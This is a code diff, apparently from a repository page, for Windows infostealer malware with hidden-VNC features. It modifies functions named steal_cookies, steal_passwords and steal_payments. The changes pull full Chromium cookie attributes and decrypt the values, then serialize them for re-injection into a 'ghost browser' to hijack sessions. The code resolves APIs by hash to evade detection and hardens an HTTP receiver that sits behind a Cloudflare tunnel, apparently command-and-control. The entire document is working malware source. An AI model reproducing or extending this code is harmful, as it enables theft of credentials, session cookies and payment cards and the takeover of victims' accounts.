// is structurally invalid and would underflow ct_len below.
|
||||
if (ciphertext.size() < 31) return {};
|
||||
const uint8_t* iv = ciphertext.data() + 3;
|
||||
const uint8_t* ct = iv + 12;
|
||||
size_t ct_len = ciphertext.size() - 3 - 12 - 16;
|
||||
|
||||
@@ -14,6 +14,7 @@ typedef int(*sqlite3_finalize_t)(void*);
|
||||
typedef const unsigned char*(*sqlite3_column_text_t)(void*, int);
|
||||
typedef int(*sqlite3_column_bytes_t)(void*, int);
|
||||
typedef int(*sqlite3_column_int_t)(void*, int);
|
||||
typedef long long(*sqlite3_column_int64_t)(void*, int);
|
||||
|
||||
extern sqlite3_open_t p_sqlite3_open;
|
||||
extern sqlite3_close_t p_sqlite3_close;
|
||||
@@ -23,6 +24,7 @@ extern sqlite3_finalize_t p_sqlite3_finalize;
|
||||
extern sqlite3_column_text_t p_sqlite3_column_text;
|
||||
extern sqlite3_column_bytes_t p_sqlite3_column_bytes;
|
||||
extern sqlite3_column_int_t p_sqlite3_column_int;
|
||||
extern sqlite3_column_int64_t p_sqlite3_column_int64;
|
||||
|
||||
bool init_sqlite();
|
||||
|
||||
|
||||
@@ -22,6 +22,7 @@ sqlite3_finalize_t p_sqlite3_finalize = nullptr;
|
||||
sqlite3_column_text_t p_sqlite3_column_text = nullptr;
|
||||
sqlite3_column_bytes_t p_sqlite3_column_bytes = nullptr;
|
||||
sqlite3_column_int_t p_sqlite3_column_int = nullptr;
|
||||
sqlite3_column_int64_t p_sqlite3_column_int64 = nullptr;
|
||||
|
||||
bool init_sqlite() {
|
||||
HMODULE h = hvnc::syscall::load_dll_hashed(L"winsqlite3.dll");
|
||||
@@ -34,7 +35,9 @@ bool init_sqlite() {
|
||||
p_sqlite3_column_text = (sqlite3_column_text_t)hvnc::syscall::get_proc_hashed(h, hvnc::nt::hash_ror13("sqlite3_column_text"));
|
||||
p_sqlite3_column_bytes = (sqlite3_column_bytes_t)hvnc::syscall::get_proc_hashed(h, hvnc::nt::hash_ror13("sqlite3_column_bytes"));
|
||||
p_sqlite3_column_int = (sqlite3_column_int_t)hvnc::syscall::get_proc_hashed(h, hvnc::nt::hash_ror13("sqlite3_column_int"));
|
||||
return p_sqlite3_open && p_sqlite3_prepare_v2 && p_sqlite3_step;
|
||||
p_sqlite3_column_int64 = (sqlite3_column_int64_t)hvnc::syscall::get_proc_hashed(h, hvnc::nt::hash_ror13("sqlite3_column_int64"));
|
||||
return p_sqlite3_open && p_sqlite3_prepare_v2 && p_sqlite3_step &&
|
||||
p_sqlite3_column_int64;
|
||||
}
|
||||
|
||||
std::string b64_decode(const std::string& in) {
|
||||
|
||||
+94
-3
@@ -202,6 +202,68 @@ std::vector<Credential> steal_passwords(const BrowserPath& bp) {
|
||||
return result;
|
||||
}
|
||||
|
||||
std::vector<uint8_t> encode_cookie_seeds(const std::vector<Cookie>& cookies) {
|
||||
std::vector<uint8_t> out;
|
||||
auto put = [&](const void* p, size_t n) {
|
||||
const uint8_t* b = (const uint8_t*)p;
|
||||
out.insert(out.end(), b, b + n);
|
||||
};
|
||||
auto put_str = [&](const std::string& s) {
|
||||
uint32_t len = (uint32_t)s.size();
|
||||
put(&len, 4);
|
||||
put(s.data(), s.size());
|
||||
};
|
||||
uint32_t count = (uint32_t)cookies.size();
|
||||
put(&count, 4);
|
||||
for (auto& c : cookies) {
|
||||
put_str(c.host);
|
||||
put_str(c.name);
|
||||
put_str(c.value);
|
||||
put_str(c.path);
|
||||
uint8_t flags = (c.secure ? 1 : 0) | (c.httponly ? 2 : 0) | (c.persistent ? 4 : 0);
|
||||
uint8_t ss = (uint8_t)c.samesite;
|
||||
put(&flags, 1);
|
||||
put(&ss, 1);
|
||||
put(&c.expires_utc, 8);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
bool decode_cookie_seeds(const std::vector<uint8_t>& blob, std::vector<CookieSeed>& out) {
|
||||
size_t off = 0;
|
||||
auto get = [&](void* p, size_t n) -> bool {
|
||||
if (off + n > blob.size()) return false;
|
||||
memcpy(p, blob.data() + off, n);
|
||||
off += n;
|
||||
return true;
|
||||
};
|
||||
auto get_str = [&](std::string& s) -> bool {
|
||||
uint32_t len = 0;
|
||||
if (!get(&len, 4) || off + len > blob.size()) return false;
|
||||
s.assign((const char*)blob.data() + off, len);
|
||||
off += len;
|
||||
return true;
|
||||
};
|
||||
uint32_t count = 0;
|
||||
if (!get(&count, 4) || count > 20000) return false;
|
||||
out.clear();
|
||||
out.reserve(count);
|
||||
for (uint32_t i = 0; i < count; i++) {
|
||||
CookieSeed s;
|
||||
if (!get_str(s.domain) || !get_str(s.name) || !get_str(s.value) ||
|
||||
!get_str(s.path)) return false;
|
||||
uint8_t flags = 0, ss = 0;
|
||||
if (!get(&flags, 1) || !get(&ss, 1)) return false;
|
||||
if (!get(&s.expires_utc, 8)) return false;
|
||||
s.secure = (flags & 1) != 0;
|
||||
s.httponly = (flags & 2) != 0;
|
||||
s.persistent = (flags & 4) != 0;
|
||||
s.samesite = ss;
|
||||
out.push_back(std::move(s));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
std::vector<Cookie> steal_cookies(const BrowserPath& bp) {
|
||||
std::vector<Cookie> result;
|
||||
if (!bp.is_chromium) return result;
|
||||
@@ -212,10 +274,31 @@ std::vector<Cookie> steal_cookies(const BrowserPath& bp) {
|
||||
sqlite3* db = nullptr;
|
||||
if (p_sqlite3_open(wide_to_utf8(tmp_db).c_str(), &db) != 0) { DeleteFileW(tmp_db.c_str()); return result; }
|
||||
|
||||
const char* sql = "SELECT host_key, name, encrypted_value FROM cookies";
|
||||
// Chrome 136+ moved the partitioned-cookie marker from is_partitioned to
|
||||
// top_frame_site_key (schema migration); try both so older builds still
|
||||
// seed. Column 9 is the marker in either variant.
|
||||
const char* kSqlNew = "SELECT host_key, name, encrypted_value, path, is_secure, is_httponly, samesite, expires_utc, is_persistent, top_frame_site_key FROM cookies";
|
||||
const char* kSqlOld = "SELECT host_key, name, encrypted_value, path, is_secure, is_httponly, samesite, expires_utc, is_persistent, is_partitioned FROM cookies";
|
||||
void* stmt = nullptr;
|
||||
if (p_sqlite3_prepare_v2(db, sql, -1, &stmt, nullptr) == 0) {
|
||||
int prc = p_sqlite3_prepare_v2(db, kSqlNew, -1, &stmt, nullptr);
|
||||
const char* sql = kSqlNew;
|
||||
if (prc != 0) {
|
||||
sql = kSqlOld;
|
||||
prc = p_sqlite3_prepare_v2(db, kSqlOld, -1, &stmt, nullptr);
|
||||
}
|
||||
if (prc == 0) {
|
||||
bool marker_is_text = (sql == kSqlNew);
|
||||
while (p_sqlite3_step(stmt) == 100) {
|
||||
// Partitioned cookies are scoped to a top_frame_site_key we don't
|
||||
// carry; they can't be re-injected, skip them.
|
||||
bool partitioned = false;
|
||||
if (marker_is_text) {
|
||||
const unsigned char* site_key = p_sqlite3_column_text(stmt, 9);
|
||||
partitioned = site_key && site_key[0] != '\0';
|
||||
} else {
|
||||
partitioned = p_sqlite3_column_int(stmt, 9) != 0;
|
||||
}
|
||||
if (partitioned) continue;
|
||||
Cookie ck;
|
||||
const unsigned char* h0 = p_sqlite3_column_text(stmt, 0);
|
||||
const unsigned char* h1 = p_sqlite3_column_text(stmt, 1);
|
||||
@@ -226,7 +309,15 @@ std::vector<Cookie> steal_cookies(const BrowserPath& bp) {
|
||||
std::vector<uint8_t> blob;
|
||||
if (p2 && n2 > 0) blob.assign(p2, p2 + n2);
|
||||
ck.value = strip_cookie_domain_hash(ck.host, decrypt_chromium_value(blob));
|
||||
if (!ck.value.empty()) result.push_back(ck);
|
||||
if (ck.value.empty()) continue;
|
||||
const unsigned char* p3 = p_sqlite3_column_text(stmt, 3);
|
||||
ck.path = p3 ? (const char*)p3 : "/";
|
||||
ck.secure = p_sqlite3_column_int(stmt, 4) != 0;
|
||||
ck.httponly = p_sqlite3_column_int(stmt, 5) != 0;
|
||||
ck.samesite = p_sqlite3_column_int(stmt, 6);
|
||||
ck.expires_utc = p_sqlite3_column_int64(stmt, 7);
|
||||
ck.persistent = p_sqlite3_column_int(stmt, 8) != 0;
|
||||
result.push_back(ck);
|
||||
}
|
||||
p_sqlite3_finalize(stmt);
|
||||
}
|
||||
|
||||
@@ -27,6 +27,28 @@ struct Cookie {
|
||||
std::string host;
|
||||
std::string name;
|
||||
std::string value;
|
||||
std::string path;
|
||||
bool secure = false;
|
||||
bool httponly = false;
|
||||
// Chrome cookies.samesite: 0=Unspecified, 1=None, 2=Lax, 3=Strict.
|
||||
int samesite = 0;
|
||||
int64_t expires_utc = 0; // microseconds since 1601-01-01, 0 = session
|
||||
bool persistent = false;
|
||||
};
|
||||
|
||||
// One cookie ready to be re-injected into the ghost browser via CDP
|
||||
// Network.setCookies. Same fields as Cookie, spelled out for the setCookies
|
||||
// param object.
|
||||
struct CookieSeed {
|
||||
std::string name;
|
||||
std::string value;
|
||||
std::string domain; // host_key, e.g. ".google.com"
|
||||
std::string path;
|
||||
bool secure = false;
|
||||
bool httponly = false;
|
||||
int samesite = 0; // 0=Unspecified, 1=None, 2=Lax, 3=Strict
|
||||
int64_t expires_utc = 0; // microseconds since 1601-01-01, 0 = session
|
||||
bool persistent = false;
|
||||
};
|
||||
|
||||
struct PaymentCard {
|
||||
@@ -98,6 +120,16 @@ std::string strip_cookie_domain_hash(const std::string& host, const std::string&
|
||||
void gather_browser_paths(std::vector<BrowserPath>& paths);
|
||||
std::vector<Credential> steal_passwords(const BrowserPath& bp);
|
||||
std::vector<Cookie> steal_cookies(const BrowserPath& bp);
|
||||
|
||||
// Serialize cookies into the binary seed blob that rides the payload pipe
|
||||
// (see payload.cpp): [u32 count][per cookie: u32 host_len host u32 name_len
|
||||
// name u32 value_len value u32 path_len path u8 flags u8 samesite u64
|
||||
// expires_utc]. flags bit0=secure bit1=httponly bit2=persistent.
|
||||
std::vector<uint8_t> encode_cookie_seeds(const std::vector<Cookie>& cookies);
|
||||
|
||||
// Reverse of encode_cookie_seeds; false on any truncation. The blob is
|
||||
// payload-authored so bounds are checked, never trusted.
|
||||
bool decode_cookie_seeds(const std::vector<uint8_t>& blob, std::vector<CookieSeed>& out);
|
||||
std::vector<PaymentCard> steal_payments(const BrowserPath& bp);
|
||||
|
||||
std::vector<DiscordToken> steal_discord();
|
||||
|
||||
@@ -201,7 +201,7 @@ bool jpeg_to_bgr24(const uint8_t* jpeg, size_t jpeg_len, int& width, int& height
|
||||
}
|
||||
|
||||
UINT w = 0, h = 0;
|
||||
if (FAILED(frame->GetSize(&w, &h)) || w == 0 || h == 0) {
|
||||
if (FAILED(frame->GetSize(&w, &h)) || w == 0 || h == 0 || w > 16384 || h > 16384) {
|
||||
frame->Release();
|
||||
factory->Release();
|
||||
return false;
|
||||
|
||||
@@ -33,7 +33,10 @@ bool recv_all(SOCKET s, std::vector<uint8_t>& buf, size_t total) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Read headers up to CRLFCRLF, then Content-Length bytes of body.
|
||||
// Read headers up to CRLFCRLF, then the body. Bodies arrive either with a
|
||||
// Content-Length or chunked transfer-encoding: the Cloudflare Worker streams
|
||||
// request bodies, so cloudflared can deliver them chunked; a naive
|
||||
// Content-Length-only parse would mis-frame those as empty and 400 them.
|
||||
bool read_request(SOCKET s, std::vector<uint8_t>& body) {
|
||||
std::vector<uint8_t> head;
|
||||
head.reserve(4096);
|
||||
@@ -48,9 +51,58 @@ bool read_request(SOCKET s, std::vector<uint8_t>& body) {
|
||||
}
|
||||
std::string h(head.begin(), head.end());
|
||||
|
||||
// Naive, single-value Content-Length parse (we generate the requests).
|
||||
size_t cl = h.find("\r\n\r\n");
|
||||
if (cl == std::string::npos) return false;
|
||||
|
||||
size_t te = h.find("Transfer-Encoding");
|
||||
if (te != std::string::npos && te < cl) {
|
||||
size_t ce = h.find("chunked", te);
|
||||
if (ce != std::string::npos && ce < cl) {
|
||||
body.clear();
|
||||
for (;;) {
|
||||
// Chunk-size line: hex size, optional ";extensions", CRLF.
|
||||
std::string line;
|
||||
char b = 0;
|
||||
while (line.size() < 64) {
|
||||
if (recv(s, &b, 1, 0) != 1) return false;
|
||||
line += b;
|
||||
if (line.size() >= 2 && line.compare(line.size() - 2, 2, "\r\n") == 0)
|
||||
break;
|
||||
}
|
||||
if (line.size() < 2) return false;
|
||||
size_t semi = line.find(';');
|
||||
size_t end_hex = (semi == std::string::npos) ? line.size() - 2 : semi;
|
||||
char* endp = nullptr;
|
||||
size_t chunk_size = (size_t)strtoull(line.substr(0, end_hex).c_str(), &endp, 16);
|
||||
if (endp == line.c_str() + end_hex) return false;
|
||||
if (chunk_size == 0) {
|
||||
// Last chunk: read trailer lines until the empty line
|
||||
// (the minimal "0\r\n\r\n" ends right after one CRLF).
|
||||
for (int i = 0; i < 64; i++) {
|
||||
std::string line;
|
||||
while (line.size() < 128) {
|
||||
if (recv(s, &b, 1, 0) != 1) return false;
|
||||
line += b;
|
||||
if (line.size() >= 2 && line.compare(line.size() - 2, 2, "\r\n") == 0)
|
||||
break;
|
||||
}
|
||||
if (line == "\r\n") return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
if (chunk_size > 64 * 1024 * 1024 ||
|
||||
body.size() > 64 * 1024 * 1024 - chunk_size) return false;
|
||||
std::vector<uint8_t> tmp;
|
||||
if (!recv_all(s, tmp, chunk_size)) return false;
|
||||
body.insert(body.end(), tmp.begin(), tmp.end());
|
||||
char crlf[2];
|
||||
if (recv(s, crlf, 2, 0) != 2 || crlf[0] != '\r' || crlf[1] != '\n')
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Naive, single-value Content-Length parse (we generate the requests).
|
||||
size_t pos = h.find("Content-Length");
|
||||
size_t len = 0;
|
||||
if (pos != std::string::npos && pos < cl) {
|
||||
@@ -104,6 +156,14 @@ bool serve(uint16_t port, const Handler& handler) {
|
||||
|
||||
InterlockedExchange(&g_stop, 0);
|
||||
while (InterlockedCompareExchange(&g_stop, 0, 0) == 0) {
|
||||
// Poll instead of blocking in accept so stop() (from another thread)
|
||||
// is honored within ~200ms; a blocked accept would never return.
|
||||
fd_set rd;
|
||||
FD_ZERO(&rd);
|
||||
FD_SET(listener, &rd);
|
||||
timeval tv{0, 200000};
|
||||
if (select(0, &rd, nullptr, nullptr, &tv) <= 0) continue;
|
||||
|
||||
SOCKET client = accept(listener, nullptr, nullptr);
|
||||
if (client == INVALID_SOCKET) continue;
|
||||
|
||||
|
||||
Reference in New Issue
Block a user